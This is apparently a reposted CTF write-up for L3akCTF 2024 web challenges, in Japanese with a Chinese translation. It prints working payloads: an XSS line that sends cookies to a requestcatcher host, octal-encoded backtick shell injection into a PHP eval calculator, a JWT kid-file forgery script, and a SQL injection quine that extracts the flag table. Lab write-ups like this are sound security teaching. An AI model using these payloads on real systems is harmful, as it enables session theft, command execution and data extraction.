L3akCTF 2024 Writeup

WriteUp 6个月前 admin
147 0 0

[Web] I’m the CEO
[Web]我是CEO

ソースコード有り。htmxでできたNoteサイトが与えられる。botをまずは見てみる。以下のようにflagをcookieに入れているので、XSScookieを抜いてやればよさそう。
有源代码。你可以用htmx创建一个笔记网站。让我们先看看机器人。因为如下所示将flag放入cookie中,所以只要用XSS拔掉cookie就可以了。

// Set Flag
await page.setCookie({
    name: "flag",
    httpOnly: false,
    value: CONFIG.APPFLAG,
    domain: CONFIG.APPHOST
})
let cookies = await page.cookies()
console.log(cookies);
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
await page.goto(urlToVisit, {
    waitUntil: 'networkidle2'
});
await sleep(8000);
cookies = await page.cookies()
console.log(cookies);

XSSできそうなポイントを探すと普通にXSSのpayloadでNoteを投稿すると動く。<img src=x onerror=alert(document.domain)> htmxってanti-XSS defaultではないのか。
如果寻找可以进行XSS的点,一般用XSS的payload投稿Note就会动作。 <img src=x onerror=alert(document.domain)> htmx不是反XSS默认值吗?

<img src=x onerror="fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: document.cookie })">

ともあれ、これを使ってNoteを作ってAdmin botに踏ませるとフラグが得られる。
不管怎样,如果你用它创建一个注释,让管理机器人踩到它,你就会得到一个标志。

https://htmx.org/essays/htmx-sucks/

おもろい。 很有趣。

[Web] Simple calculator [Web]简单的计算器

ソースコード有り。中身は簡潔で、フィルターを回避してphpコードのコマンドインジェクションする。
有源代码。它的内容很简洁,避免了过滤器,并在php代码中注入命令。

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

a-z\'"が使えないという条件。紆余曲折してphp jailしていたが、本質はそこではなく、`が使えるという部分。これを使えばshellを呼べるので`ls -la`みたいなやつを入れ込むことを考える。コマンド自体はそのままでは書けないので、Octal表現、8進数表現で記載することにする。
a-z\'" 不能使用的条件。经过一番曲折,我在php监狱,但本质并不是在那里,而是可以使用 ` 的部分。如果你使用它,你可以调用shell,所以你可以考虑添加像 `ls -la` 这样的东西。由于命令本身不能直接书写,所以用Octal表现、8进制表现来记载。

https://gchq.github.io/CyberChef/#recipe=To_Octal(‘Space’)Find/Replace(%7B’option’:’Simple%20string’,’string’:’%20’%7D,’%5C%5C’,true,false,true,false)&input=bHMgLWxh

こんな感じで用意して先頭に/を付けた`\154\163\40\55\154\141`を動かすとls -laできる。
这样准备好,移动在开头加上 / 的 `\154\163\40\55\154\141` 的话,就可以 ls -la 了。

total 16
dr-xr-xr-x 1 www-data www-data 4096 May 24 08:51 .
drwxr-xr-x 1 root     root     4096 Nov 15  2022 ..
-r--r--r-- 1 root     root       23 May 24 08:46 flag-eucmCjFHC1oimI0d9XxT7JzANCVOhrFX2OVdy8NxGQ3aPxDLd4WwwQ82eMKlRZBy.txt
-r-xr-xr-x 1 root     root      467 May 24 08:46 index.php

良い感じ。cat flag-*.txtでフラグ獲得。 感觉很好。 cat flag-*.txt 获得标志。

`\143\141\164\40\146\154\141\147\55\52\56\164\170\164`

[Web] BatBot [Web]BatBot

Discordのbotソースコードが与えられる。L3akCTFの公式DiscordにBatBot君がいるので話しかけてみる。
给出了Discord机器人的源代码。L3akCTF的官方Discord上有BatBot,所以试着和他谈谈。

hamayanhamayan — 今日 18:44
!help

BatBot — 今日 18:44
Help Command:
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)

JWTトークンを検証するもの。検証のソースコードは以下。
验证JWT令牌的内容。验证源代码如下:

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

roleがVIPであればフラグがもらえる。verify_jwtを見てみる。
如果角色是VIP,就会得到标志。让我们来看看verify_jwt。

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

kidからファイルを読み込んで秘密鍵としている。assert ("/" not in kid)というのがあり、/dev/nullを使う常套テクは使えない。『既知の』良い感じのファイルが無いか考えると、bot.pyが使えそうと気が付く。以下のように、kidとしてbot.pyを使ってJWTトークンを作り、!verify [token]を投げるとフラグがもらえる。
从kid读取文件作为私钥。有 assert ("/" not in kid) ,不能使用使用 /dev/null 的常规技术。考虑到是否有“已知的”好的文件,我意识到bot.py可以使用。如下所示,使用bot.py作为kid制作JWT令牌,如果抛出 !verify [token] ,就会得到标志。

import jwt
import os

with open('src/BatBot/bot.py', 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': 'bot.py'
}
token = jwt.encode({'username': 'hamayanhamayan','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)

[Web] bbsqli [Web]bbsqli

ソースコード有りで、SQL Injectionできるサイトが与えられる。SQL Injectionできる箇所はここ。
提供一个带有源代码的站点,可以注入SQL。SQL注入可以在这里找到。

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
       try: 
        username = request.form['username']
        password = request.form['password']
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')
        user = cursor.fetchone()
        conn.close()
        if user and user['username'] == username and user['password'] == hash_password(password):
            session['username'] = user['username']
            session['email'] = user['email']
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error='Invalid username or password')
       except:
           return render_template('login.html', error='Invalid username or password')
    return render_template('login.html')

確かに入力がそのまま移っている。フラグの入り方は以下のような感じ。
事实上,它确实在移动。进入国旗的方法如下所示。

def add_flag(flag):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('INSERT INTO flags (flag) VALUES (?)', (flag,))
    conn.commit()
    conn.close()

SQL Injectionの発生自体は普通だが、そのあとの検証で情報を抜き出してくるにはuser['username'] == username and user['password'] == hash_password(password)をtrueにする必要がある部分があり、そこが難しい。Blindで情報を抜き出す際にも応答の差を生み出す必要があるので上記の条件は何とかする必要がある。
SQL注入本身是正常的,但在某些情况下,为了在后续的验证中提取信息,必须将 user['username'] == username and user['password'] == hash_password(password) 设置为true,这是很困难的。在Blind中提取信息时,也需要产生应答的差,因此上述条件需要设法解决。

結論から言うとQuineという構造を作り出す必要がある。usernameでSQL Injectionを引き起こす必要があるが、その出力のusernameに入力と同じものを出力させる必要がある。このように入力と出力が一致するような構造をQuineと呼び、面白パズルの1つ。以下のような入力をusernameに入れると出力のusernameに同じものが出てきて、emailには(SELECT flag FROM flags)の結果が入り、passwordには122のmd5ハッシュであるa0a080f42e6f13b3a2df133f073095ddが入る。
因此,我们需要建立一个叫做Quine的结构。用户名需要触发SQL注入,但输出中的用户名必须输出与输入相同的内容。这样的输入和输出一致的结构称为Quine,是有趣的难题之一。如果将以下输入输入到用户名中,输出的用户名中将出现相同的内容,电子邮件将包含 (SELECT flag FROM flags) 结果,密码将包含a0a080f42e6f13b3a2df133f073095dd,这是122的md5哈希。

" UNION SELECT REPLACE(REPLACE("' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -",CHAR(39),CHAR(34)),CHAR(36),"' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -") AS username, (SELECT flag FROM flags) AS email, "a0a080f42e6f13b3a2df133f073095dd" AS password -- " -- -

よって、以上をusername、passwordを122とするとログインができ、emailに希望のSQL文の結果が入るので、ログイン後にフラグを読み取ることができる。
因此,如果以上为用户名,密码为122,则可以登录,因为email中包含所需SQL语句的结果,所以可以在登录后读取标志。

原文始发于Hatena Blog:L3akCTF 2024 Writeup

版权声明:admin 发表于 2024年5月30日 上午8:49。
转载请注明:L3akCTF 2024 Writeup | CTF导航

相关文章